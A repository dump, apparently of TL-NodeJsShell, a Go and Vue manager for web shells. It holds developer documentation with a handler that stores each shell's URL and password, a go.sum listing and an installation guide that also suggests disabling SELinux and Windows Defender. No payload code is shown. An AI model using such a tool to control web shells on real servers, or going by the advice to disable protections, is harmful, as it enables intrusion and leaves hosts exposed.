await axios.post('/api/shells', config) 207 | return response.data 208 | } 209 | ``` 210 | 211 | ```go 212 | // Go (Backend) 213 | func (h *ShellHandler) Create(c *gin.Context) { 214 | var req struct { 215 | URL string `json:"url" binding:"required"` 216 | Password string `json:"password" binding:"required"` 217 | EncodeType string `json:"encode_type"` 218 | Method string `json:"method"` 219 | } 220 | 221 | if err := c.ShouldBindJSON(&req); err != nil { 222 | c.JSON(400, gin.H{"error": err.Error()}) 223 | return 224 | } 225 | 226 | shell := database.Shell{ 227 | URL: req.URL, 228 | Password: req.Password, 229 | EncodeType: req.EncodeType, 230 | Method: req.Method, 231 | Status: "offline", 232 | } 233 | 234 | h.db.Create(&shell) 235 | c.JSON(201, shell) 236 | } 237 | ``` 238 | 239 | --- 240 | 241 | ## Testing 242 | 243 | ### Backend Tests 244 | 245 | ```bash 246 | # Run all tests 247 | go test ./... 248 | 249 | # Run with coverage 250 | go test -cover ./... 251 | 252 | # Run specific package 253 | go test ./core/crypto/... 254 | 255 | # Verbose output 256 | go test -v ./... 257 | ``` 258 | 259 | ### Frontend Tests 260 | 261 | ```bash 262 | # Run unit tests 263 | npm run test 264 | 265 | # Run with coverage 266 | npm run test:coverage 267 | 268 | # Run in watch mode 269 | npm run test:watch 270 | ``` 271 | 272 | --- 273 | 274 | ## Deployment 275 | 276 | ### Production Build 277 | 278 | ```bash 279 | # Build backend 280 | cd backend 281 | go build -ldflags="-s -w" -o NodeJsshell main.go 282 | 283 | # Build frontend 284 | cd frontend 285 | npm run build 286 | 287 | # The frontend build output will be in frontend/dist/ 288 | # Configure backend to serve these static files 289 | ``` 290 | 291 | ### Environment Variables 292 | 293 | ```bash 294 | # Backend 295 | export PORT=8080 296 | export HOST=0.0.0.0 297 | export DB_PATH=./data/shells.db 298 | 299 | # Frontend (build time) 300 | export VITE_API_BASE_URL=http://localhost:8080 301 | ``` 302 | 303 | --- 304 | 305 | ## Troubleshooting 306 | 307 | ### Common Development Issues 308 | 309 | **1. CORS Errors** 310 | - Ensure backend CORS middleware is properly configured 311 | - Check frontend proxy settings in `vite.config.ts` 312 | 313 | **2. Database Locked** 314 | - Close other connections to the SQLite database 315 | - Ensure proper transaction handling 316 | 317 | **3. Module Not Found** 318 | - Run `go mod tidy` in backend 319 | - Run `npm install` in frontend 320 | 321 | --- 322 | 323 | ## Resources 324 | 325 | ### External Documentation 326 | - [Go Documentation](https://go.dev/doc/) 327 | - [Vue 3 Documentation](https://vuejs.org/) 328 | - [Gin Framework](https://gin-gonic.com/docs/) 329 | - [Element Plus](https://element-plus.org/) 330 | - [GORM](https://gorm.io/docs/) 331 | 332 | ### Community 333 | - [GitHub Issues](https://github.com/tianlusec/TL-NodeJsShell/issues) 334 | - [GitHub Discussions](https://github.com/tianlusec/TL-NodeJsShell/discussions) 335 | 336 | --- 337 | 338 | ## Contributing 339 | 340 | We welcome contributions! Please see our [Contributing Guide](../CONTRIBUTING.md) for details. 341 | 342 | --- 343 | 344 | ## License 345 | 346 | This project is licensed under the MIT License - see the [LICENSE](../LICENSE) file for details. -------------------------------------------------------------------------------- /web/src/views/ShellManager.vue: -------------------------------------------------------------------------------- 1 | 135 | 136 | 254 | 255 | 273 | 274 | -------------------------------------------------------------------------------- /server/go.sum: -------------------------------------------------------------------------------- 1 | github.com/bytedance/sonic v1.5.0/go.mod h1:ED5hyg4y6t3/9Ku1R6dU/4KyJ48DZ4jPhfY1O2AihPM= 2 | github.com/bytedance/sonic v1.9.1 h1:6iJ6NqdoxCDr6mbY8h18oSO+cShGSMRGCEo7F2h0x8s= 3 | github.com/bytedance/sonic v1.9.1/go.mod h1:i736AoUSYt75HyZLoJW9ERYxcy6eaN6h4BZXU064P/U= 4 | github.com/chenzhuoyu/base64x v0.0.0-20211019084208-fb5309c8db06/go.mod h1:DH46F32mSOjUmXrMHnKwZdA8wcEefY7UVqBKYGjpdQY= 5 | github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311 h1:qSGYFH7+jGhDF8vLC+iwCD4WpbV1EBDSzWkJODFLams= 6 | github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311/go.mod h1:b583jCggY9gE99b6G5LEC39OIiVsWj+R97kbl5odCEk= 7 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 8 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 9 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 10 | github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= 11 | github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= 12 | github.com/gabriel-vasile/mimetype v1.4.2 h1:w5qFW6JKBz9Y393Y4q372O9A7cUSequkh1Q7OhCmWKU= 13 | github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA= 14 | github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE= 15 | github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI= 16 | github.com/gin-gonic/gin v1.9.1 h1:4idEAncQnU5cB7BeOkPtxjfCSye0AAm1R0RVIqJ+Jmg= 17 | github.com/gin-gonic/gin v1.9.1/go.mod h1:hPrL7YrpYKXt5YId3A/Tnip5kqbEAP+KLuI3SUcPTeU= 18 | github.com/glebarez/go-sqlite v1.21.2 h1:3a6LFC4sKahUunAmynQKLZceZCOzUthkRkEAl9gAXWo= 19 | github.com/glebarez/go-sqlite v1.21.2/go.mod h1:sfxdZyhQjTM2Wry3gVYWaW072Ri1WMdWJi0k6+3382k= 20 | github.com/glebarez/sqlite v1.11.0 h1:wSG0irqzP6VurnMEpFGer5Li19RpIRi2qvQz++w0GMw= 21 | github.com/glebarez/sqlite v1.11.0/go.mod h1:h8/o8j5wiAsqSPoWELDUdJXhjAhsVliSn7bWZjOhrgQ= 22 | github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s= 23 | github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= 24 | github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= 25 | github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= 26 | github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= 27 | github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= 28 | github.com/go-playground/validator/v10 v10.14.0 h1:vgvQWe3XCz3gIeFDm/HnTIbj6UGmg/+t63MyGU2n5js= 29 | github.com/go-playground/validator/v10 v10.14.0/go.mod h1:9iXMNT7sEkjXb0I+enO7QXmzG6QCsPWY4zveKFVRSyU= 30 | github.com/goccy/go-json v0.10.2 h1:CrxCmQqYDkv1z7lO7Wbh2HN93uovUHgrECaO5ZrCXAU= 31 | github.com/goccy/go-json v0.10.2/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= 32 | github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= 33 | github.com/google/go-cmp v0.5.5 h1:Khx7svrCpmxxtHBq5j2mp/xVjsi8hQMfNLvJFAlrGgU= 34 | github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 35 | github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= 36 | github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26 h1:Xim43kblpZXfIBQsbuBVKCudVG457BR2GZFIz3uw3hQ= 37 | github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26/go.mod h1:dDKJzRmX4S37WGHujM7tX//fmj1uioxKzKxz3lo4HJo= 38 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= 39 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 40 | github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E= 41 | github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc= 42 | github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ= 43 | github.com/jinzhu/now v1.1.5/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8= 44 | github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= 45 | github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= 46 | github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= 47 | github.com/klauspost/cpuid/v2 v2.2.4 h1:acbojRNwl3o09bUq+yDCtZFc1aiwaAAxtcn8YkZXnvk= 48 | github.com/klauspost/cpuid/v2 v2.2.4/go.mod h1:RVVoqg1df56z8g3pUjL/3lE5UfnlrJX8tyFgg4nqhuY= 49 | github.com/leodido/go-urn v1.2.4 h1:XlAE/cm/ms7TE/VMVoduSpNBoyc2dOxHs5MZSwAN63Q= 50 | github.com/leodido/go-urn v1.2.4/go.mod h1:7ZrI8mTSeBSHl/UaRyKQW1qZeMgak41ANeCNaVckg+4= 51 | github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA= 52 | github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= 53 | github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= 54 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= 55 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= 56 | github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= 57 | github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= 58 | github.com/pelletier/go-toml/v2 v2.0.8 h1:0ctb6s9mE31h0/lhu+J6OPmVeDxJn+kYnJc2jZR9tGQ= 59 | github.com/pelletier/go-toml/v2 v2.0.8/go.mod h1:vuYfssBdrU2XDZ9bYydBu6t+6a6PYNcZljzZR9VXg+4= 60 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 61 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 62 | github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= 63 | github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= 64 | github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= 65 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 66 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= 67 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= 68 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 69 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 70 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 71 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= 72 | github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= 73 | github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= 74 | github.com/stretchr/testify v1.8.3 h1:RP3t2pwF7cMEbC1dqtB6poj3niw/9gnV4Cjg5oW5gtY= 75 | github.com/stretchr/testify v1.8.3/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= 76 | github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI= 77 | github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08= 78 | github.com/ugorji/go/codec v1.2.11 h1:BMaWp1Bb6fHwEtbplGBGJ498wD+LKlNSl25MjdZY4dU= 79 | github.com/ugorji/go/codec v1.2.11/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg= 80 | golang.org/x/arch v0.0.0-20210923205945-b76863e36670/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8= 81 | golang.org/x/arch v0.3.0 h1:02VY4/ZcO/gBOH6PUaoiptASxtXU10jazRCP865E97k= 82 | golang.org/x/arch v0.3.0/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8= 83 | golang.org/x/crypto v0.9.0 h1:LF6fAI+IutBocDJ2OT0Q1g8plpYljMZ4+lty+dsqw3g= 84 | golang.org/x/crypto v0.9.0/go.mod h1:yrmDGqONDYtNj3tH8X9dzUun2m2lzPa9ngI6/RUPGR0= 85 | golang.org/x/net v0.10.0 h1:X2//UzNDwYmtCLn7To6G58Wr6f5ahEAQgKNzv9Y951M= 86 | golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= 87 | golang.org/x/sys v0.0.0-20220704084225-05e143d24a9e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 88 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 89 | golang.org/x/sys v0.8.0 h1:EBmGv8NaZBZTWvrbjNoL6HVt+IVy3QDQpJs7VRIw3tU= 90 | golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 91 | golang.org/x/text v0.9.0 h1:2sjJmO8cDvYveuX97RDLsxlyUxLl+GHoLxBiRdHllBE= 92 | golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= 93 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 94 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE= 95 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 96 | google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= 97 | google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng= 98 | google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= 99 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= 100 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 101 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 102 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 103 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 104 | gorm.io/gorm v1.25.7 h1:VsD6acwRjz2zFxGO50gPO6AkNs7KKnvfzUjHQhZDz/A= 105 | gorm.io/gorm v1.25.7/go.mod h1:hbnx/Oo0ChWMn1BIhpy1oYozzpM15i4YPuHDmfYtwg8= 106 | modernc.org/libc v1.22.5 h1:91BNch/e5B0uPbJFgqbxXuOnxBQjlS//icfQEGmvyjE= 107 | modernc.org/libc v1.22.5/go.mod h1:jj+Z7dTNX8fBScMVNRAYZ/jF91K8fdT2hYMThc3YjBY= 108 | modernc.org/mathutil v1.5.0 h1:rV0Ko/6SfM+8G+yKiyI830l3Wuz1zRutdslNoQ0kfiQ= 109 | modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= 110 | modernc.org/memory v1.5.0 h1:N+/8c5rE6EqugZwHii4IFsaJ7MUhoWX07J5tC/iI5Ds= 111 | modernc.org/memory v1.5.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= 112 | modernc.org/sqlite v1.23.1 h1:nrSBg4aRQQwq59JpvGEQ15tNxoO5pX/kUjcRNwSAGQM= 113 | modernc.org/sqlite v1.23.1/go.mod h1:OrDj17Mggn6MhE+iPbBNf7RGKODDE9NFT0f3EwDzJqk= 114 | rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= 115 | -------------------------------------------------------------------------------- /web/src/components/ShellDetail/SystemInfo.vue: -------------------------------------------------------------------------------- 1 | 109 | 110 | 172 | 173 | 376 | 377 | -------------------------------------------------------------------------------- /docs/INSTALLATION.md: -------------------------------------------------------------------------------- 1 | # Installation Guide 2 | 3 | [English](#english) | [中文](#中文) 4 | 5 | --- 6 | 7 | ## English 8 | 9 | ### System Requirements 10 | 11 | #### Minimum Requirements 12 | - **Operating System**: Windows 10/11, Linux (Ubuntu 20.04+, CentOS 8+), macOS 10.15+ 13 | - **Go**: Version 1.21 or higher 14 | - **Node.js**: Version 16 or higher 15 | - **RAM**: 2GB minimum, 4GB recommended 16 | - **Disk Space**: 500MB for application and dependencies 17 | 18 | #### Recommended Requirements 19 | - **RAM**: 8GB or more 20 | - **CPU**: Multi-core processor 21 | - **Network**: Stable internet connection for package downloads 22 | 23 | ### Prerequisites 24 | 25 | #### 1. Install Go 26 | 27 | **Linux/macOS:** 28 | ```bash 29 | # Download and install Go 30 | wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz 31 | sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz 32 | 33 | # Add to PATH 34 | echo 'export PATH=$PATH:/usr/local/go/bin' >> ~/.bashrc 35 | source ~/.bashrc 36 | 37 | # Verify installation 38 | go version 39 | ``` 40 | 41 | **Windows:** 42 | 1. Download installer from [https://go.dev/dl/](https://go.dev/dl/) 43 | 2. Run the installer 44 | 3. Verify: Open Command Prompt and run `go version` 45 | 46 | #### 2. Install Node.js 47 | 48 | **Linux (Ubuntu/Debian):** 49 | ```bash 50 | curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash - 51 | sudo apt-get install -y nodejs 52 | ``` 53 | 54 | **macOS:** 55 | ```bash 56 | brew install node 57 | ``` 58 | 59 | **Windows:** 60 | 1. Download installer from [https://nodejs.org/](https://nodejs.org/) 61 | 2. Run the installer 62 | 3. Verify: `node --version` and `npm --version` 63 | 64 | #### 3. Install Git 65 | 66 | **Linux:** 67 | ```bash 68 | sudo apt-get install git # Ubuntu/Debian 69 | sudo yum install git # CentOS/RHEL 70 | ``` 71 | 72 | **macOS:** 73 | ```bash 74 | brew install git 75 | ``` 76 | 77 | **Windows:** 78 | Download from [https://git-scm.com/download/win](https://git-scm.com/download/win) 79 | 80 | --- 81 | 82 | ### Installation Methods 83 | 84 | #### Method 1: From Source (Recommended) 85 | 86 | **Step 1: Clone the Repository** 87 | ```bash 88 | git clone https://github.com/tianlusec/TL-NodeJsShell.git 89 | cd TL-NodeJsShell 90 | ``` 91 | 92 | **Step 2: Build Backend** 93 | ```bash 94 | cd backend 95 | go mod download 96 | go build -o NodeJsshell main.go 97 | 98 | # For Windows 99 | go build -o NodeJsshell.exe main.go 100 | ``` 101 | 102 | **Step 3: Build Frontend** 103 | ```bash 104 | cd ../frontend 105 | npm install 106 | npm run build 107 | ``` 108 | 109 | **Step 4: Run the Application** 110 | ```bash 111 | # From backend directory 112 | cd ../backend 113 | ./NodeJsshell 114 | 115 | # For Windows 116 | NodeJsshell.exe 117 | ``` 118 | 119 | **Step 5: Access the Application** 120 | Open your browser and navigate to: 121 | ``` 122 | http://localhost:8080 123 | ``` 124 | 125 | #### Method 2: Development Mode 126 | 127 | For development with hot-reload: 128 | 129 | **Terminal 1 - Backend:** 130 | ```bash 131 | cd backend 132 | go run main.go 133 | ``` 134 | 135 | **Terminal 2 - Frontend:** 136 | ```bash 137 | cd frontend 138 | npm run dev 139 | ``` 140 | 141 | Access at: `http://localhost:5173` (Vite dev server) 142 | 143 | #### Method 3: Docker (Coming Soon) 144 | 145 | Docker support will be added in future releases. 146 | 147 | --- 148 | 149 | ### Configuration 150 | 151 | #### Backend Configuration 152 | 153 | Edit [`backend/config/config.go`](../backend/config/config.go): 154 | 155 | ```go 156 | type Config struct { 157 | Port string // Default: "8080" 158 | Host string // Default: "0.0.0.0" 159 | } 160 | ``` 161 | 162 | **Custom Port:** 163 | ```go 164 | func Load() *Config { 165 | return &Config{ 166 | Port: "3000", // Change port 167 | Host: "127.0.0.1", // Bind to localhost only 168 | } 169 | } 170 | ``` 171 | 172 | #### Frontend Configuration 173 | 174 | Edit [`frontend/vite.config.ts`](../frontend/vite.config.ts) for proxy settings: 175 | 176 | ```typescript 177 | export default defineConfig({ 178 | server: { 179 | proxy: { 180 | '/api': { 181 | target: 'http://localhost:8080', 182 | changeOrigin: true 183 | } 184 | } 185 | } 186 | }) 187 | ``` 188 | 189 | --- 190 | 191 | ### Troubleshooting 192 | 193 | #### Common Issues 194 | 195 | **1. Port Already in Use** 196 | ``` 197 | Error: listen tcp :8080: bind: address already in use 198 | ``` 199 | **Solution:** 200 | - Change the port in config 201 | - Or kill the process using the port: 202 | ```bash 203 | # Linux/macOS 204 | lsof -ti:8080 | xargs kill -9 205 | 206 | # Windows 207 | netstat -ano | findstr :8080 208 | taskkill /PID /F 209 | ``` 210 | 211 | **2. Go Module Download Fails** 212 | ``` 213 | Error: go: module lookup disabled 214 | ``` 215 | **Solution:** 216 | ```bash 217 | export GOPROXY=https://goproxy.io,direct 218 | go mod download 219 | ``` 220 | 221 | **3. npm Install Fails** 222 | ``` 223 | Error: EACCES: permission denied 224 | ``` 225 | **Solution:** 226 | ```bash 227 | # Linux/macOS 228 | sudo npm install -g npm 229 | npm install --unsafe-perm 230 | 231 | # Or use nvm (recommended) 232 | curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash 233 | nvm install 18 234 | ``` 235 | 236 | **4. Frontend Build Fails** 237 | ``` 238 | Error: JavaScript heap out of memory 239 | ``` 240 | **Solution:** 241 | ```bash 242 | export NODE_OPTIONS="--max-old-space-size=4096" 243 | npm run build 244 | ``` 245 | 246 | **5. Database Permission Error** 247 | ``` 248 | Error: unable to open database file 249 | ``` 250 | **Solution:** 251 | ```bash 252 | # Ensure write permissions 253 | chmod 755 backend/ 254 | chmod 644 backend/*.db 255 | ``` 256 | 257 | --- 258 | 259 | ### Platform-Specific Notes 260 | 261 | #### Linux 262 | 263 | **SELinux Issues:** 264 | ```bash 265 | # Temporarily disable 266 | sudo setenforce 0 267 | 268 | # Or add exception 269 | sudo chcon -R -t httpd_sys_content_t /path/to/TL-NodeJsShell 270 | ``` 271 | 272 | **Firewall:** 273 | ```bash 274 | # UFW 275 | sudo ufw allow 8080/tcp 276 | 277 | # firewalld 278 | sudo firewall-cmd --add-port=8080/tcp --permanent 279 | sudo firewall-cmd --reload 280 | ``` 281 | 282 | #### macOS 283 | 284 | **Gatekeeper Warning:** 285 | ```bash 286 | # Allow unsigned binary 287 | xattr -d com.apple.quarantine NodeJsshell 288 | ``` 289 | 290 | #### Windows 291 | 292 | **Windows Defender:** 293 | - Add exception for the application directory 294 | - Or temporarily disable real-time protection during installation 295 | 296 | **PowerShell Execution Policy:** 297 | ```powershell 298 | Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser 299 | ``` 300 | 301 | --- 302 | 303 | ### Verification 304 | 305 | After installation, verify everything works: 306 | 307 | ```bash 308 | # Check backend 309 | curl http://localhost:8080/api/shells 310 | 311 | # Expected response: [] 312 | ``` 313 | 314 | --- 315 | 316 | ### Updating 317 | 318 | To update to the latest version: 319 | 320 | ```bash 321 | cd TL-NodeJsShell 322 | git pull origin main 323 | 324 | # Rebuild backend 325 | cd backend 326 | go build -o NodeJsshell main.go 327 | 328 | # Rebuild frontend 329 | cd ../frontend 330 | npm install 331 | npm run build 332 | ``` 333 | 334 | --- 335 | 336 | ### Uninstallation 337 | 338 | To completely remove TL-NodeJsShell: 339 | 340 | ```bash 341 | # Stop the application 342 | # Then remove directory 343 | cd .. 344 | rm -rf TL-NodeJsShell 345 | 346 | # Remove database (if needed) 347 | rm -f ~/.TL-NodeJsShell/*.db 348 | ``` 349 | 350 | --- 351 | 352 | ## 中文 353 | 354 | ### 系统要求 355 | 356 | #### 最低要求 357 | - **操作系统**: Windows 10/11, Linux (Ubuntu 20.04+, CentOS 8+), macOS 10.15+ 358 | - **Go**: 1.21 或更高版本 359 | - **Node.js**: 16 或更高版本 360 | - **内存**: 最低 2GB,推荐 4GB 361 | - **磁盘空间**: 应用程序和依赖项需要 500MB 362 | 363 | #### 推荐配置 364 | - **内存**: 8GB 或更多 365 | - **CPU**: 多核处理器 366 | - **网络**: 稳定的互联网连接以下载包 367 | 368 | ### 前置条件 369 | 370 | #### 1. 安装 Go 371 | 372 | **Linux/macOS:** 373 | ```bash 374 | # 下载并安装 Go 375 | wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz 376 | sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz 377 | 378 | # 添加到 PATH 379 | echo 'export PATH=$PATH:/usr/local/go/bin' >> ~/.bashrc 380 | source ~/.bashrc 381 | 382 | # 验证安装 383 | go version 384 | ``` 385 | 386 | **Windows:** 387 | 1. 从 [https://go.dev/dl/](https://go.dev/dl/) 下载安装程序 388 | 2. 运行安装程序 389 | 3. 验证:打开命令提示符并运行 `go version` 390 | 391 | #### 2. 安装 Node.js 392 | 393 | **Linux (Ubuntu/Debian):** 394 | ```bash 395 | curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash - 396 | sudo apt-get install -y nodejs 397 | ``` 398 | 399 | **macOS:** 400 | ```bash 401 | brew install node 402 | ``` 403 | 404 | **Windows:** 405 | 1. 从 [https://nodejs.org/](https://nodejs.org/) 下载安装程序 406 | 2. 运行安装程序 407 | 3. 验证:`node --version` 和 `npm --version` 408 | 409 | #### 3. 安装 Git 410 | 411 | **Linux:** 412 | ```bash 413 | sudo apt-get install git # Ubuntu/Debian 414 | sudo yum install git # CentOS/RHEL 415 | ``` 416 | 417 | **macOS:** 418 | ```bash 419 | brew install git 420 | ``` 421 | 422 | **Windows:** 423 | 从 [https://git-scm.com/download/win](https://git-scm.com/download/win) 下载 424 | 425 | --- 426 | 427 | ### 安装方法 428 | 429 | #### 方法 